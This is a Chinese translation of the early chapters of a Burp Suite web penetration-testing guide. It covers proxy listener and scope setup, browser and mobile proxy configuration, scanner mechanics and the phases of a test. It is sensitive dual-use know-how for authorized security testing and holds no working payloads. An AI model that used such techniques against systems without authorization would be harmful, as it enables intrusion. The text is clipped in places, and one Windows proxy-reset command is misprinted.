BurpSuite-应用渗透测试实用指南(全)
BurpSuite 应用渗透测试实用指南(全)
原文:
annas-archive.org/md5/854BB45B5601AD5131BDF5E0A2CF756B
译者:飞龙
前言
Burp Suite 是一套专注于网络应用渗透测试的图形工具。许多安全专业人员广泛使用 Burp Suite 进行网络渗透测试,执行不同的网络级安全任务。
这本书将从介绍网络渗透测试和 Burp Suite 开始。然后,我们将立即深入探讨网络应用安全的核心概念以及如何实现服务,包括蜘蛛模块、入侵者模块等。我们还将涵盖一些高级概念,如为 Burp Suite 编写扩展和宏。
这将成为使用 Burp Suite 进行端到端渗透测试的全面指南。
这本书适合谁
如果您有兴趣学习如何使用 Burp 测试网络应用程序和移动应用程序的网络部分,那么这本书就是为您准备的。如果您已经有使用 Burp 的基本经验,并且现在希望成为专业的 Burp 用户,那么这本书就是为了满足您的需求而特别设计的。
为了充分利用这本书
要在本书中的示例和示例中工作,您需要以下内容:
-
Burp Suite 专业版
-
一台 PC
使用的约定
本书中使用了许多文本约定。
CodeInText
:表示文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄。这是一个例子:“secret
变量是用户在注册期间分配的数据。”
代码块设置如下:
GET /?url=http://localhost/server-status HTTP/1.1
Host: example.com
任何命令行输入或输出都以以下形式书写:
$ mkdir css
$ cd css
粗体:表示新术语、重要单词或屏幕上看到的单词。例如,菜单或对话框中的单词会以这样的形式出现在文本中。这是一个例子:“点击 New scan。”
警告或重要说明会出现在这样的形式中。
提示和技巧会以这种形式出现。
第一章:配置 Burp Suite
在开始应用程序渗透测试之前,必须准备用于攻击最终应用程序的系统。这涉及配置 Burp Suite 成为各种客户端和流量来源的拦截代理。
与确定目标范围一样,减少我们收集的数据中的噪音非常重要。我们将使用目标白名单技术,并使用 Burp 目标功能来过滤和减少测试现代应用程序可能引入的混乱。
Burp 或 Burp Suite 是用于测试 Web 应用程序安全漏洞的图形工具。该工具是用 Java 编写的,由 Dafydd Stuttard 在 PortSwigger 的名义下创建。Burp Suite 现在由他的公司 PortSwigger 积极开发...
了解 Burp Suite
可以从 PortSwigger 网站portswigger.net/burp
下载 Burp 适用于所有主要操作系统。对于 Windows 系统,提供了 x64 位和 x32 位的安装程序。还提供了一个独立的 Java JAR 文件,以便您可以将 Burp 作为便携式应用程序运行。
当您启动 Burp Suite 时,您将被提示在开始使用该工具之前设置 Burp 项目的设置。
可用的三个选项如下:
-
临时项目:如果您想要使用 Burp 进行快速检查或不需要保存的任务,请选择此选项并点击“下一步”即可立即开始。
-
磁盘上的新项目:对于良好执行的渗透测试,能够记录和检索作为测试一部分的请求和响应的日志非常重要。此选项允许您在磁盘上创建一个文件,该文件将存储在开始测试时在 Burp 中设置的所有配置数据、请求和响应以及代理信息。可以提供描述性名称以便将来加载此文件。一个良好的经验法则是创建一个提供有关项目本身信息的名称。ClientName-TypeOfTest-DDMMYYYY是一个很好的起点。
-
打开现有项目:此选项允许您加载以前使用磁盘上的新项目创建的任何现有项目文件。您可以选择暂停蜘蛛和扫描器模块,以便以非活动状态加载项目。
单击“下一步”将带您到一个页面,您可以选择以前的任何保存配置或继续使用 Burp 默认值。当 Burp 启动时,您还可以选择禁用扩展。
单击“启动 Burp”继续。
设置代理监听器
要将 Burp 用作应用程序渗透测试工具,必须将其设置为中间人(MITM)代理。中间人代理位于客户端和服务器之间,并允许用户篡改或丢弃通过的消息。在其最简单的形式中,Burp Suite 是 HTTP(S)流量的中间人代理。
默认情况下,Burp 将在本地 IP 的端口8080
上监听127.0.0.1
。然而,这可以很容易地更改为系统上任何可用 IP 地址上的任意空闲端口。要做到这一点,请按照以下步骤进行:
-
导航到代理|选项选项卡。
-
在代理监听器下,确认“运行”复选框被选中...
管理多个代理监听器
如果有必要,Burp Suite 可以提供多个代理监听器接口。这只是意味着 Burp 可以同时在不同端口和不同 IP 地址上启动监听器,每个监听器都有自己的配置和设置。
例如,如果您正在测试的厚客户端应用程序有多个组件,其中一些可以配置为使用代理,而另一些则不能,或者如果其通信端口是硬编码的,或者如果需要捕获来自基于网络的浏览器或服务的流量,那么可以创建多个代理监听器,每个监听器都有自己的配置。
如果需要,您可以通过取消选中接口名称旁边的复选框来禁用代理监听器。接下来,我们将了解非代理感知客户端的工作原理。
与非代理感知客户端一起工作
在这种情况下,非代理感知客户端是指发出 HTTP 请求但没有简单方法配置代理选项,或根本没有代理支持的客户端。
非代理感知客户端的常见示例是不使用浏览器代理选项的厚客户端应用程序或浏览器插件。Burp 对隐形代理的支持允许非代理感知客户端直接连接到代理监听器。这允许 Burp 拦截和修改基于目标映射的流量。
从架构上讲,这是通过为非代理感知客户端通信的远程目标设置本地 DNS 条目来实现的。这个 DNS 条目可以在本地 hosts 文件中进行设置,如下所示:
127.0.0.1 example.org
客户端...
在 Burp Suite 中创建目标范围
目标范围设置可以在目标|范围选项卡下找到。这允许您为当前执行的渗透测试配置范围内的目标。
将项目添加到目标范围可以影响 Burp 中各个功能的行为。例如,您可以执行以下操作:
-
您可以设置显示过滤器,仅显示范围内的项目。这在处理使用大量第三方代码的应用程序时非常有用,可在目标|站点地图和代理|历史下找到。
-
Spider 模块仅限于范围内的目标。
-
您可以配置代理仅拦截范围内项目的请求和响应。
-
在 Burp 的专业版中,甚至可以自动启动对范围内项目的漏洞扫描。
基本上有两种添加范围项目的方法。第一种,也是推荐的方法,是从代理历史中获取目标。为此,采取以下方法:
-
设置浏览器和 Burp 进行通信。
-
关闭 Burp 中的拦截模式并浏览应用程序。
从主页开始浏览每个链接;登录到经过身份验证的区域并注销;提交每个表单;导航到robots.txt
中列出的每个路径,以及应用程序站点地图中的每个链接(如果可用);如果适用,以不同的用户身份访问应用程序(具有相同或不同的权限级别)。
这样做将填充应用程序站点地图,如下图所示:在目标|站点地图选项卡下,如下图所示:
一旦在站点地图选项卡中填充了目标和 URL,您可以右键单击任何项目并将该项目添加到范围。这可以通过目标|站点地图或代理|历史选项卡进行。
第二种方法是直接将项目添加到目标|范围选项卡。检查使用高级范围控制以启用范围添加的旧接口,这允许对范围条目进行更精细的控制。
让我们举个例子,为想象中的渗透测试创建我们的范围。假设范围内的应用程序位于http://mutillidae-testing.cxm/
。使用目标|范围选项卡,我们可以通过设置以下内容将此应用程序和以后的所有 URL 添加到范围:
-
协议:HTTP
-
主机或 IP 范围:
mutillidae-testing.cxm
-
端口:
⁸⁰$
-
文件:
^*
这将添加端口80
上使用 HTTP 协议的应用程序和任何 URL 到范围内。
您还可以通过目标|范围页面上的加载按钮加载包含需要在范围内的 URL 列表的文件。此列表必须是由换行符分隔的 URL/目标。大文件可能需要一些时间来加载,Burp 在加载和解析文件后可能会出现冻结的情况,但在文件加载和解析完成后将恢复工作。
使用目标排除
就像我们可以在 Burp 中添加范围项目一样,我们也可以添加需要明确设置为超出范围的项目。与范围内项目一样,这可以通过两种方法添加。第一种是通过右键单击上下文菜单从代理|历史记录选项卡添加:
第二个是在目标范围选项卡中的排除范围部分。例如,如果您想要排除/javascript
目录下的所有子目录和文件,则可以应用以下选项:
-
协议:HTTP
-
主机或 IP 范围:
mutillidae-testing.cxm
-
端口:
⁸⁰$
-
文件:
^/javascript/.*
这将排除/javascript/
目录下的所有 URL...
开始测试前的快速设置
这一部分突出了五个可以在开始测试之前启用/设置/配置的快速设置,以立即提高生产力:
- 启用服务器响应拦截:默认情况下,Burp 未配置为拦截服务器响应。但是,可以在代理|选项下的拦截服务器响应选项中启用。启用在请求|被修改时和请求|被拦截时拦截响应。
- 启用取消隐藏的表单字段并选择突出显示未隐藏字段选项:这可以在代理|选项|响应修改面板下找到。当浏览一个存储或使用隐藏的 HTML 表单字段来做出应用程序决策的应用程序时,这非常有用。
隐藏字段在页面上可见,并且非常显眼地突出显示,允许您根据需要直接在页面上编辑内容。
- 启用如果超出范围则不将项目发送到代理历史记录或其他 Burp 工具选项:此选项可以在代理|选项|其他中找到。启用此选项可以防止 Burp 将超出范围的请求和响应发送到代理|历史记录和其他 Burp 工具,如扫描器和目标。这些请求和响应被发送和接收,但不会记录在 Burp 的任何功能集中。
- 设置发出 Repeater 请求的键盘快捷键:这是一个非常有用的设置,可以在使用 Burp 的 Repeater 模块时启用,以避免使用鼠标单击“Go”按钮。Burp 已经允许通过代理|历史记录选项卡使用Ctrl + R将项目发送到 Repeater。使用Ctrl + Shift + R可以切换到 Repeater 窗口。添加一个快捷键以使用 Repeater 发送请求完成了从代理|历史记录中选择项目并将其发送的按键链。
-
安排保存状态操作:Burp 有一个任务调度程序,可以用于某些任务,例如恢复和暂停扫描和爬行。您可以从项目选项|其他|计划任务中打开任务调度程序。
-
任务调度程序支持的关键操作之一是自动保存状态。选择保存状态并单击下一步:
-
- 选择一个将包含保存状态的文件,并且如果需要,选择仅显示范围内项目复选框,如下图所示:
-
- 选择何时开始任务和间隔。在繁忙的工作中,每 30 分钟保存一次是一个不错的开始间隔:
-
- 单击完成以激活计划任务,如下截图所示:
摘要
在本章中,我们学习了如何准备 Burp Suite 应用程序。我们配置了 Burp Suite,使其成为各种客户端和流量来源的拦截代理。在下一章中,我们将学习如何配置客户端并设置移动设备。
第二章:配置客户端和设置移动设备
一旦我们启动并配置了 Burp Suite 以充当所有通信都将发送到目标的代理,我们需要设置客户端以与 Burp 通信,以便通信路径完整。
几乎所有可以与 HTTP/HTTPS 服务器通信的客户端都有设置代理端点的方法。这告诉客户端它需要先将流量发送到代理端点,然后再将其转发到目标。不同的客户端有不同的设置代理设置的方式。一些客户端使用操作系统的代理设置来强制流量的路径。
在本章中,我们将看到如何为各种常见客户端设置代理选项,包括移动设备和传统计算设备。
我们将在本章中涵盖以下主题:
-
设置 Firefox、Chrome 和 Internet Explorer 以与 Burp Suite(HTTP 和 HTTPS)一起使用
-
可以用于管理代理设置的其他浏览器附加组件
-
为不支持代理的客户端设置系统范围的代理
-
设置 Android 和 iOS 以与 Burp Suite 一起使用
设置 Firefox 以与 Burp Suite(HTTP 和 HTTPS)一起使用
Firefox 长期以来一直是黑客的最爱。这在很大程度上是因为有大量的附加组件,可以扩展其功能和能力。Firefox 相对于行业中其他浏览器的主要优势之一是其能够使用与操作系统无关的代理设置。
即使操作系统设置了单独的系统代理,也可以设置 Firefox 使用特定代理。这允许使用需要单独代理的各种工具与 Firefox 一起使用,同时确保 Firefox 采用单独的路径。
请记住,包括 Firefox 在内的任何浏览器都没有专门的私人/无痕模式代理设置。
设置 Chrome 以与 Burp Suite(HTTP 和 HTTPS)一起使用
Google Chrome 使用系统代理来路由流量,除非使用命令行参数来指定代理服务器。这既可能很麻烦,也可能很有优势,因为您可以在不甚至打开 Chrome UI 的情况下在 Chrome 中设置代理。
要在 Chrome 中设置代理选项,请执行以下步骤:
- 单击右上角的三个点,然后选择设置:
- 在设置窗口中,键入代理以查找“打开代理设置”选项:
-
这将打开 Windows Internet 属性对话框。
-
单击 LAN 设置以打开设置页面:
- 输入 Burp Suite 正在运行的系统的端口号和 IP 地址,如下面的屏幕截图所示:
- 您还可以单击“高级”来使用不同协议的特定地址。请记住,这是一个系统范围的代理设置。
- 单击确定以应用设置。
在 Linux 上设置 Chrome 代理选项
在 Linux 上,当您尝试设置 Google Chrome 的代理选项时,可能会遇到错误,如下所示:
When running Google Chrome under a supported desktop environment, the system proxy settings will be used. However, either your system is not supported or there was a problem launching your system configuration.But you can still configure via the command line. Please see man google-chrome-stable for more information on flags and environment variables.
在这种情况下,您可以通过命令行参数指定代理服务器,也可以通过编辑安装 Chrome/Chromium 时创建的.desktop
文件来指定代理服务器。
启动 Google Chrome 的命令行参数是:
设置 Internet Explorer 以与 Burp Suite(HTTP 和 HTTPS)一起使用
Internet Explorer 和 Microsoft Edge 都使用 Windows 系统代理设置作为自己的首选项。
按照这些步骤将帮助您在 Internet Explorer 中设置代理选项:
- 单击右上角的齿轮图标,然后选择 Internet 选项:
- 互联网选项对话框将打开。单击连接|LAN 设置以管理 Internet Explorer 的代理设置。
请记住,这是一个系统范围的代理设置,系统上的大多数程序也会遵循这一设置,特别是如果它们没有自己的代理设置。
可用于管理代理设置的其他浏览器附加组件
在 Web 应用程序渗透测试期间,可能会出现需要切换代理设置的情况。有时您可能希望直接连接到互联网,而其他时候可能希望通过 Burp 传输流量。
还有一些情况,您可能希望所有流量都通过 Burp,除了google.com之外。在这种情况下,不断切换浏览器的代理设置可能会成为一种不愉快的用户体验。
因此,Firefox 和 Chrome 存在几个附加组件/扩展,允许您通过单击选项来切换浏览器的代理设置到不同的代理。
让我们...
FoxyProxy for Firefox
在代理管理方面,Firefox 最受欢迎的附加组件是 Eric H Jung 编写的这个巧妙的小附加组件FoxyProxy:
FoxyProxy 允许您创建多个配置文件,可以设置为不同的代理端点,并在需要时随意选择。
这是 Firefox 中创建的多个配置文件的 FoxyProxy 外观。此菜单可作为 Firefox 窗口中的选项使用,可通过单击激活:
让我们以设置代理选项的简单示例为例:
- 使用 Firefox 的
about:addons
页面安装 Firefox 扩展。附加组件名称是FoxyProxy Standard:
-
安装完成后,右上角的设置按钮旁边会出现一个小狐狸图标。
-
单击 FoxyProxy 图标,然后选择选项。
-
单击添加以打开添加新代理的页面。
-
添加描述您的 Burp 代理端点的所有详细信息。还要选择一个颜色。这是代理使用时狐狸图标将变成的颜色:
-
新创建的代理将出现在可用代理配置文件列表中。
-
单击狐狸图标以选择您的代理。您可以通过查看 Burp 中的流量来验证是否有效:
- 要关闭代理并使用 Firefox 的默认选项(无代理),请选择关闭 FoxyProxy。
当涉及过滤域名甚至 URL 时,此附加组件非常强大。您可以添加匹配或不匹配的模式,并且只会导致特定域的流量通过 FoxyProxy,最终通过 Burp。
Proxy SwitchySharp for Google Chrome
这是一个很棒的附加组件,可以在 Chrome 运行时轻松切换代理,特别是如果系统代理不是您想要发送网页流量的地方。
这是 Google Chrome 中创建的多个配置文件的 SwitchySharp 外观。此菜单可作为 Google Chrome 窗口中的选项使用,可通过单击激活:
- 要开始使用这个附加组件,请通过 Chrome 网上商店安装它
chrome.google.com/webstore/category/extensions
:
为不支持代理的客户端设置系统范围的代理
在这种情况下,不支持代理的客户端是指通过 HTTPS 与互联网通信但没有设置代理服务器选项以便捕获流量的应用程序。这些应用程序使用系统代理设置。这在 Windows 上的厚客户端应用程序中很常见。
在这种情况下,我们可以设置系统范围的代理设置以与我们的应用程序配合使用。可以通过命令行和 GUI 设置系统范围的代理设置。但是,了解命令行选项可以让您编写脚本,以便您可以使用 bash 脚本或批处理文件切换系统范围的代理设置,具体取决于您所在的操作系统。
Linux 或 macOS X
要在 Linux 命令行上使用代理,必须设置环境变量http_proxy
、https_proxy
或ftp_proxy
,具体取决于流量类型。
为了有效地执行此操作,必须运行以下命令:
$ export http_proxy=http://127.0.0.1:8080$ export https_proxy="https:// 127.0.0.1:8080"$ export ftp_proxy="http:// 127.0.0.1:8080"
您可以通过env
命令检查当前的代理设置:
env | grep -i proxy
Windows
可以通过 Internet 选项|连接|LAN 设置应用 Windows 系统范围的代理设置。也可以使用 netsh 命令应用此设置,如以下步骤所示:
-
以管理员身份启动 cmd
-
运行
netsh winhttp set proxy 127.0.0.1:8080
-
要检查设置是否已应用,请运行以下命令:
netsh winhttp show proxy
- 要重置代理,请运行:
netsh winhttp show proxy
设置 Android 与 Burp Suite 配合使用
要测试 Android 应用程序,甚至通过您的 Android 设备测试 Web 应用程序,您需要配置 Burp 代理以在接口上启动监听器,然后将 Android 设备和运行 Burp 的系统连接到相同的无线网络。
这会使 Burp 监听器对于相同网络上的 Android 设备可见和可访问。
按照以下步骤为您的 Android 设备设置代理:
-
转到设置菜单。
-
连接到与 Burp 相同的无线网络。
-
如果您已连接,请单击无线连接名称,然后选择管理网络设置,如下图所示:
-
单击“显示高级选项”,显示代理设置。单击...
为什么选择 Burp Suite?让我们先了解一些基础知识!
Burp Suite 是一个代理,它允许您拦截和篡改从浏览器到应用服务器的每个请求。这为测试人员提供了巨大的能力,可以对应用程序的所有途径进行渗透测试,因为它显示了所有可用的端点。它起到了中间件的作用。它给您带来的最大优势是能够绕过客户端验证。
它是一个智能工具,可以跟踪您的浏览历史,并管理站点结构,让您更清楚地了解可用的内容以及新发现的途径。Burp 的核心优势在于它允许您将 HTTP 请求转发到不同的 Burp 工具并执行所需的任务。这可能是重复或自动化攻击,解码某些参数,或比较两个或更多不同的请求。Burp 使用户能够在运行时解码参数以理解不同的格式;例如,解码ViewState
参数,美化 JSON 请求等。
设置 iOS 与 Burp Suite 配合使用
要设置 iOS 设备与 Burp 配合使用,我们需要将 Burp 的网络监听器地址(与 Android 设备一样)添加到 iOS 设备的网络配置中。
要实现此目的,请按照以下步骤操作:
-
在 iOS 设备上,打开设置。
-
假设您已连接到无线网络,点击 Wi-Fi 选项,然后点击无线接入点名称旁边的信息图标。
-
在 HTTP PROXY 部分下选择手动,并输入 Burp 监听器的 IP 地址和端口号。
-
返回并浏览 iOS 设备浏览器上的 HTTP 站点,查看流量是否被 Burp 接收。
要能够访问 HTTPS 站点,您需要在 iOS 设备中添加 Burp 的 CA 证书。要...
总结
在本章中,我们学习了如何设置 Firefox、Chrome 和 Internet Explorer 通过 Burp Suite 发送和接收 HTTP 和 HTTPS 流量。我们为不支持代理的客户端配置了系统范围的代理设置。我们还了解了使在不同代理之间切换变得轻松的浏览器插件和扩展程序。
在下一章中,我们将学习如何执行应用程序渗透测试。
第三章:执行应用程序渗透测试
现在我们已经学会了如何在各种平台上配置和设置我们的 Burp 代理,我们现在可以开始进行应用程序渗透测试。在当今世界,执行渗透测试有各种目的;它可能是为了漏洞赏金,也可能是为了客户进行全面评估。初始方法通常是相同的;然而,最终存在巨大的差异。漏洞赏金猎人的目标是发现一个或一组可能导致严重不利后果的特定漏洞,以便他们可以获得赏金。
另一方面,对于一个完整的渗透测试,渗透测试人员的工作并不止于此。渗透测试人员将不得不执行完整的...
漏洞赏金和客户发起的渗透测试之间的区别
在我们深入了解核心细节之前,让我们首先了解这两种思维方式:
-
漏洞赏金渗透测试思维:
-
目标是发现具有影响并获得丰厚赏金的漏洞
-
不需要对应用程序进行完整评估
-
一个漏洞足以获得赏金
-
不报告应用程序中的所有漏洞,只报告发现的漏洞
-
没有特定的时间表;可以根据渗透测试人员的方便进行
-
客户发起的渗透测试思维:
-
目标是确保测试所有应用程序流程和功能
-
在整个应用程序需要进行审核的有限时间内
-
没有赏金或奖励
-
需要确保扫描器发现的所有漏洞都经过验证并报告
-
还需要确定整个应用程序的范围,了解所有相互依赖关系,并确保端点受到良好的保护,因为有时后端应用程序(如支持)可能不会向漏洞赏金猎人提供,但会在客户发起的评估中提供。
-
两种思维方式的共同点:
-
必须有头脑存在,以链接多个漏洞并对基础应用程序造成严重影响
-
还要确保攻击者了解特定应用程序的所有端点
-
确定整个应用程序的存在并测试所有端点以查找缺陷
花点时间思考一下这两种方法之间的区别。我相信您会同意,在执行渗透测试时需要有两种完全不同的思维方式。
启动渗透测试
如果不执行以下操作,应用程序渗透测试通常被认为是不完整的:
-
遵循执行侦察的标准方法
-
枚举功能
-
测试单个参数
-
创建测试用例
-
执行非侵入式利用
-
提供关于问题的报告
-
实施重现步骤,概念验证代码和可能的缓解措施
在我的职业生涯中,我多次遇到安全咨询公司或独立专业人士,他们通常运行自动扫描程序,仅检测到少数漏洞,几乎总是无法发现逻辑问题。然后这些漏洞会被利用,但是...
类型和特征
Burp Suite 配备了以下一组内置工具,以便于每个渗透测试人员的工作:
-
扫描器:帮助自动测试网站的内容和漏洞。它有主动和被动模式,可以由用户切换和配置。
-
入侵者:这允许用户对捕获的请求进行某些更改,并通过某些修改自动化任务,通过在每个请求中传递不同的参数值来进行暴力破解。
-
重复器:此功能允许用户即时修改标头值并多次向应用服务器发送请求。
-
协作客户端:这是 Burp 提供的一个非常有趣的功能。它允许用户检查带外漏洞。这些漏洞非常热门,因为它们不容易找到。
-
Clickbandit:此功能允许用户针对易受攻击的应用程序创建点击劫持页面。
-
顺序器:顺序器功能使用户能够分析应用程序的 cookie 生成机制的随机性;它为用户提供了对会话的随机性或可预测性的非常详细的分析。
-
解码器:这允许用户检查任何类型的编码,并允许用户将其解码为纯文本,反之亦然。
-
比较器:此功能允许用户比较两个或多个请求的响应,以找出它们之间的差异。
让我们看一下 Burp Suite 的以下低级图表:
您可以在以下三个部分中看到工具的分离:
-
重建和分析
-
漏洞检测和利用
-
工具配置
上图给出了如何处理请求的很好的想法。一旦请求被解析,工具将进行主动的蜘蛛爬行和主动的发现,同时允许用户在重建和分析阶段进行自定义发现。在此过程中,工具会将所有信息主动放入 HTTP 历史记录和站点地图以供以后使用。收集到这些信息后,用户可以将任何特定请求发送到重复器、入侵者或扫描器。扫描器可以在整个网站爬行后进行输入。
工具配置将允许用户管理身份验证、会话处理、任务调度和各种其他任务。代理是 Burp Suite 机制的核心。Burp Suite 扫描器是执行渗透测试的一体化自动化工具包。它可以从发现内容到发现漏洞等一切。还有许多插件可以用来增强扫描结果。我们将在后面的章节中讨论这些插件。Burp 扫描器主要包括两个部分:一个是内容爬行,另一个是审计:
-
内容爬行:Burp 爬虫几乎像真实用户一样浏览应用程序;它提交输入、表单,并捕获链接并创建应用程序的完整站点地图。它显示了找到的内容以及未返回响应的内容。
-
审计:这是实际的扫描器,将模糊所有参数以确定应用程序中是否存在漏洞。用户可以优化它以获得更好的性能。
现在我们熟悉了 Burp Suite 的类型和功能,我们将深入研究目录应用程序内容的爬行机制。
爬行
我想在这里强调一点,Burp 具有惊人的爬行机制,可以以最接近的准确度映射站点结构。爬行可能看起来是一个简单的任务,但对于现代动态应用程序来说并非如此。作为渗透测试人员,我们总是看到扫描器在爬行阶段由于 URL 方案的实现而陷入巨大的循环中,扫描似乎永远无法完成,特别是在测试购物车时。当发生这种情况时,真的很令人沮丧,因为那时你必须依赖完全手动的策略。另一方面,Burp 采取了非常聪明的方法。Burp 的爬虫模拟了用户在浏览器上浏览应用程序的方式。它模拟用户点击、导航和输入提交,...
为什么选择 Burp Suite 扫描器?
现在我们已经建立了对 Burp 爬虫的基本理解,是时候了解为什么 Burp 扫描器是任何渗透测试的首选扫描器了。大多数传统扫描器通常会模糊输入字段,检查响应,并确定是否存在漏洞。但是,如果应用程序有某些规则,比如,如果应用程序对每个请求强制执行动态 CSRF 呢?如果应用程序是一个非常动态的应用程序,根据状态为相同的 URL/页面提供不同的内容,或者如果应用程序在发生格式错误的请求时使用户无效呢?不用担心,因为 Burp 已经对此进行了不同处理,并理解了底层逻辑,使我们能够进行优化扫描。
审计员/扫描器
让我们继续了解 Burp 审计/扫描规则和机制。Burp 审计器主要分为以下三个核心类别:
-
被动阶段
-
主动阶段
-
JavaScript 分析阶段
这使得 Burp 能够主动发现和利用存储并返回给用户的功能,以响应输入。它还通过以最佳方式处理频繁发生的问题和插入点来避免重复。此外,它通过并行执行工作有效地利用系统资源。
Burp 审计器报告了大量问题,广泛涵盖以下类别:
- 被动:这是一种非侵入式的审计,纯粹基于接收到的请求和响应进行分析...
了解插入点
Burp 扫描器是一个非常高效的扫描器,因为它针对各种插入点。它针对输入字段、一组头部,如 cookie、引用者、用户代理等。Burp 扫描器通过将有效载荷单独发送到目标来单独分析目标,以查看应用程序如何处理有效载荷。以下是更好地了解插入点的方法:
Burp 还处理各种参数的数据编码。它了解正在使用的参数以及其后的任何编码。一旦检测到编码,它就会通过对有效载荷进行编码来模糊参数,如下图所示。例如,对于标准输入,它会传递一个正常的有效载荷:
对于 JSON 参数,它使用不同的有效载荷进行模糊处理:
对于 XML,它传递不同的有效载荷:
如果应用程序使用不同的编码,如 base64,Burp 会自动尝试检测正在使用的编码并相应地修改有效载荷:
如果应用程序使用嵌套编码,Burp 会尝试检测此行为并相应地创建有效载荷,以帮助测试漏洞:
还有我们之前讨论过的,Burp 通过尝试将参数传递到不同位置,如POST
、GET
请求,将值添加到头部,并对其进行模糊处理,来操纵参数的位置。这是为了绕过 Web 应用程序防火墙并尝试将参数发送到特定的应用程序功能:
这些都是 Burp 用来帮助对应用程序进行扫描的不同样式和机制。这里的核心问题是,它如何扫描并维护有效的会话,如果额外的安全措施已经放置?好消息是,Burp 扫描器从根节点爬到每个请求,然后根据应用程序的上下文测试请求。
Burp Suite 在从节点到节点遍历时满足以下条件:
-
直接测试是否在 cookie 中存在令牌、相同的令牌或 CSRF
-
在单个 CSRF 令牌和单次使用令牌的情况下,从根节点到请求路径的遍历
前面的图表显示了启发式爬行;如果您需要到达特定请求进行渗透测试,根节点有三个其他请求页面,Burp 将遍历所有这些页面并到达目标页面,就像模拟真实用户一样。这有什么帮助?这有助于测试使用每个请求 CSRF 令牌的严格应用程序。Burp 能够找出 CSRF 令牌的依赖关系,并通过从根节点遍历到目标请求并从响应中获取 CSRF,然后将其添加到下一个请求来执行高效的扫描,如下图所示:
您可能还想知道如果应用程序超时,会如何管理会话处理,或者会话超时,甚至会话失效,对吗?Burp 管理一个时间轴。它会创建一个时间戳并验证会话是否仍然有效。一旦验证,它会设置一个标记并进行其他测试,然后,当涉及到超时条件或无效会话时,它会返回到先前的标记并重新开始测试,以便给我们一个准确的渗透测试结果,涵盖所有参数。可以从以下截图中了解相同的参考信息:
总之,扫描器会做以下几件事情:
-
它会自动管理额外的安全设置并执行模糊测试,比如处理 CSRF 令牌类型
-
它管理编码并相应地编辑攻击有效载荷
-
它甚至通过双重编码有效载荷执行嵌套模糊测试
-
它遵循基于快照的方法来执行扫描
-
它还确保参数从
POST
到GET
进行模糊测试,甚至将它们推送到标头中,以尝试执行有效载荷
总结
这涵盖了 Burp 扫描器和爬虫的完整基础,让我们完全了解工具的工作方式,并在不同的 Web 应用程序场景中执行扫描,以给出准确的结果。现在,在下一章中,我们将开始进行应用程序渗透测试所需的阶段。
第四章:探索应用程序渗透测试的阶段
在本章中,我们将了解应用程序渗透测试涉及的阶段,并对 Burp Suite 工具进行广泛概述。基于这些知识,我们将枚举并收集有关我们目标的信息。
本章将涵盖以下主题:
-
应用程序渗透测试的阶段
-
更好地了解 Burp Suite
应用程序渗透测试的阶段
理解应用程序渗透测试的阶段是微不足道的,因为它奠定了基础,并确保渗透测试人员覆盖所有可能的端点并进行有效的扫描。Web 应用程序渗透测试通常分为以下阶段:
-
规划和侦察
-
客户端端代码分析
-
手动测试
-
自动化测试
-
利用发现的问题
-
深入挖掘数据外泄
-
获取外壳
-
报告
在这些阶段中,规划和侦察阶段是最重要的阶段,因为测试人员可能会错过应用程序的关键入口端点,并且这些区域可能会未经测试。让我们更详细地探讨一下发生了什么...
规划和侦察
在规划和侦察阶段,我们定义了渗透测试的范围。这个初始阶段需要大量的规划,您需要回答诸如:
-
渗透测试的范围是什么?
-
受限制的 URL 是什么?
-
范围内的各个子域是什么?
-
同一域中是否托管了多个应用程序,位于不同的文件夹中?
-
此应用程序是否在其他平台上托管(即移动应用程序,Web 应用程序,桌面应用程序等)
一旦您回答了这些问题,您将对应该测试什么和不应该测试什么有一些清晰的认识。根据是黑盒还是白盒测试,进一步的枚举将会发生。在任何一种情况下,我们都必须继续并发现范围内应用程序的所有文件和文件夹,并识别端点。稍后,在下一章中,我们将看到如何使用 Burp 发现新文件和文件夹。
客户端端代码分析
根据测试类型,我们也可以进行代码分析。对于作为白盒测试一部分托管的应用程序,整个代码将对测试人员可用,并且他可以使用自定义工具执行整个代码审查,并根据代码逻辑找到漏洞。假设它是黑盒,并且需要进行代码分析。在黑盒情况下,唯一进行的代码分析是客户端端代码和 JavaScript 库引用。根据分析,测试人员可以绕过这些脚本实施的某些验证逻辑,并使我们能够执行某些攻击。
在下一章中,我们将详细讨论如何通过代码操纵绕过客户端逻辑。...
手动测试
这是测试人员的头脑存在帮助他发现应用程序中各种漏洞的阶段。在这个阶段,攻击者通过模糊不同的输入字段并检查应用程序响应来手动测试漏洞。有时扫描程序无法找到某些漏洞,用户干预是非常必要的,这就是手动测试取得成功的地方。某些漏洞往往会被自动扫描器忽略,例如:
-
各种业务逻辑缺陷
-
二次 SQL 注入
-
渗透测试加密参数
-
权限提升
-
敏感信息披露
各种业务逻辑缺陷
每个应用程序都有自己的逻辑来完成一些功能。业务逻辑通常是完成工作所需的一系列步骤。让我们举个例子,如果用户想在购物网站上购买产品,他必须按照一系列步骤进行操作:
-
选择一个项目
-
指定产品的数量
-
输入交付信息
-
输入卡片详细信息
-
完成支付网关程序
-
购买完成
-
交付待定
-
交付完成
正如你所看到的,涉及很多步骤,这就是自动化扫描仪失败的地方。
二阶段 SQL 注入
SQL 二阶段工作方式不同;网页应用程序中的一个页面接受恶意用户输入,然后在另一个页面或另一个应用程序中的某个其他功能检索此恶意内容,并将其解析为查询的一部分。自动化扫描仪无法检测此类问题。然而,Burp 具有一个实现的逻辑,可以帮助攻击者发现 SQL 二阶段漏洞。
渗透测试加密参数
在信息被发送到第三方的应用程序中,比如从购物门户到支付网关的端点,比如信用卡详细信息,信息是通过双方同意的密钥加密的。自动化扫描仪将无法扫描这种情况。如果应用程序意外地暴露了任何端点,那么通过手动分析,渗透测试人员可以测试这些加密参数是否存在漏洞。
利用发现的问题
正如前面讨论的,一旦应用程序使用自动化扫描仪和手动测试进行扫描,然后就会进入这个阶段。发现的问题,如 SQL 注入文件上传绕过,XXE 攻击等,允许攻击者/测试者获得进一步挖掘并攻击应用程序以获取 shell 的能力。因此,一旦在这个阶段发现了问题,渗透测试人员将继续利用这些问题,以查看可以提取信息的程度。这是攻击者可以链接多个漏洞以查看是否可以引起更大漏洞的阶段。HackerOne 上有许多提交报告显示了测试人员如何链接多个漏洞,最终导致远程代码执行。
权限提升
自动化扫描仪不了解应用程序中可用角色或访问级别的知识,因此永远无法发现这些漏洞。因此,始终需要手动干预。
敏感信息泄露
